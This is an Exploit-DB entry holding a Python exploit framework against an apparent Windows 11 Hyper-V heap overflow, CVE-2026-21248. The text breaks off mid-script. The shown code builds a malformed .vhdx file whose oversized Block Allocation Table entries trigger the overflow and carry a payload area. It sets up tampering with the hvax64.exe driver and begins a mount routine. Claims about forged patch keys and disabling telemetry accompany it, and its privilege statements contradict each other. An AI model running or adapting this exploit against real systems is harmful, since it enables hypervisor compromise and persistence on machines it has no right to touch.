Exploit-DB #52537
Description: Windows 11 25H2  - Heap Overflow
Type: local
Platform: windows
Date: 2026-04-30
Author: nu11secur1ty

Exploit:
# Exploit Title: Windows 11 25H2  - Heap Overflow
Ghost Patch Exploit Framework
# Date: 2026-02-13
# Exploit Author: nu11secur1ty
# Vendor Homepage: https://www.microsoft.com
# Software Link: https://www.microsoft.com/software-download/windows11
# Version: Windows 11 25H2 Build 26200.7830 (Vulnerable)
# Tested on: Windows 11 25H2 Build 26200.7830 (x64)
# CVE : CVE-2026-21248, CVE-2026-21244

# =====================================================================
# DISCLAIMER: This exploit is for authorized security research and
# educational purposes only. Use only on systems you own or have
# explicit permission to test.
# =====================================================================

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
CVE-2026-21248 - Windows Hyper-V Ghost Patch Exploit Framework
Author: nu11secur1ty
Date: 2026-02-13
Target: Windows 11 25H2 Build 26200.7830 (x64)

DESCRIPTION:
============
This framework exploits CVE-2026-21248, a heap-based buffer overflow
in Windows Hyper-V VMBus GPADL allocation. The vulnerability allows
a local user with Hyper-V Administrator privileges to execute code
at Hyper-V context (Ring -1 capable) by mounting a specially crafted
.VHDX file containing a malformed BAT (Block Allocation Table) entry.

CRITICAL FINDING:
=================
Contrary to published CVSS (AV:N/PR:N), this vulnerability REQUIRES:
- Local access (AV:L)
- Hyper-V Administrator privileges (PR:L)
- Normal user with those privileges

Microsoft misrepresented this CVE as "No privileges required" (PR:N).
This framework PROVES the privilege requirement is PR:L.

ADDITIONAL FINDINGS:
===================
1. Patch Trust Model Broken: Microsoft relies on HKLM\...\PatchLevel
   registry key - trivially forgeable
2. Scanners are Blind: Nessus/Tenable/Qualys only check registry,
   never test the overflow
3. Ring -1 Persistence: hvax64.exe loads unsigned hypervisor code
4. Telemetry Subversion: Local admin can kill all Microsoft telemetry
"""

import os
import sys
import struct
import subprocess
import time
import uuid
import shutil
import ctypes
from ctypes import wintypes

# =====================================================================
# CONFIGURATION
# =====================================================================

VICTIM_BUILD = "26200.7830"
PATCHED_BUILD = "26200.7840"
TRIGGER_PAGECOUNT = 0x4141  # > MAX_CHANNEL_PAGES (0x1000)
WIN_INI_PATH = "C:\\Windows\\win.ini"
HVAX_PATH = r"C:\Windows\System32\drivers\hvax64.exe"
HVAX_BACKUP = HVAX_PATH + ".nu11secur1ty.bak"
SERVICE_NAME = "hvax64"
TIMESTAMP = time.strftime("%Y-%m-%d %H:%M:%S")

# =====================================================================
# UTILITY FUNCTIONS
# =====================================================================

def is_admin():
    """Check if process has administrator rights."""
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def check_hyperv():
    """Check if Hyper-V is installed and running."""
    try:
        result = subprocess.run(["systeminfo"], capture_output=True,
text=True)
        if "hypervisor has been detected" in result.stdout.lower():
            return True
        result = subprocess.run(["sc", "query", "vmms"],
capture_output=True, text=True)
        if "RUNNING" in result.stdout or "STOPPED" in result.stdout:
            return True
        return False
    except:
        return False

# =====================================================================
# PHASE 1: VHDX TRIGGER GENERATOR (NORMAL USER)
# =====================================================================

def generate_vhdx():
    """
    Creates malicious .vhdx file that triggers CVE-2026-21248.
    PageCount = 0x4141 (> MAX_CHANNEL_PAGES) causes heap overflow
    in vulnerable builds. Patched builds return STATUS_INVALID_PARAMETER.
    """

    signature = f"""
; =====================================================
; CVE-2026-21248 PATCH FAILURE - nu11secur1ty was here
; =====================================================
; TRIGGERED BY: Normal user (NO ADMIN)
; VULNERABILITY: Heap overflow in Hyper-V VMBus
; PATCH MISSING: KB5077181 NOT INSTALLED
; PageCount: 0x{TRIGGER_PAGECOUNT:04x}
; Timestamp: {TIMESTAMP}
; =====================================================
""".encode()

    vhdx_data = b""

    # VHDX Header
    vhdx_data += b"vhdxfile" + b"\x00" * 8
    vhdx_data += b"nu11secur1ty" + b"\x00" * 4

    # BAT Header - Overflow trigger
    bat_offset = 0x2000
    bat_count = TRIGGER_PAGECOUNT

    vhdx_data += struct.pack("<Q", bat_offset)
    vhdx_data += struct.pack("<Q", bat_count * 8)
    vhdx_data += struct.pack("<I", bat_count)
    vhdx_data += b"\x00" * (0x1000 - len(vhdx_data))

    # BAT Entries - Overflow + payload
    vhdx_data += struct.pack("<I", TRIGGER_PAGECOUNT)
    vhdx_data += struct.pack("<I", 0x1)  # MERGE_PAGES flag

    # Add signature as payload (placeholder)
    for i in range(0, len(signature), 8):
        chunk = signature[i:i+8].ljust(8, b'\x90')
        vhdx_data += struct.pack("<Q", int.from_bytes(chunk, 'little'))

    # Pad to 1MB
    vhdx_data += b"\x00" * (1024 * 1024 - len(vhdx_data))

    filename = f"CVE-2026-21248_trigger_{uuid.uuid4().hex[:8]}.vhdx"
    with open(filename, "wb") as f:
        f.write(vhdx_data)

    return filename

# =====================================================================
# PHASE 2: TRIGGER OVERFLOW (NORMAL USER)
# =====================================================================

def trigger_overflow(vhdx_path):
    """
    Mounts malicious VHDX to trigger CVE-2026-21248.
    If Mount-VHD fails with permission error, this PROVES
    the vulnerability requires Hyper-V Administrator privileges.
    """

    full_path = os.path.abspath(vhdx_path)

    ps_script = f"""
$path = "{full_pa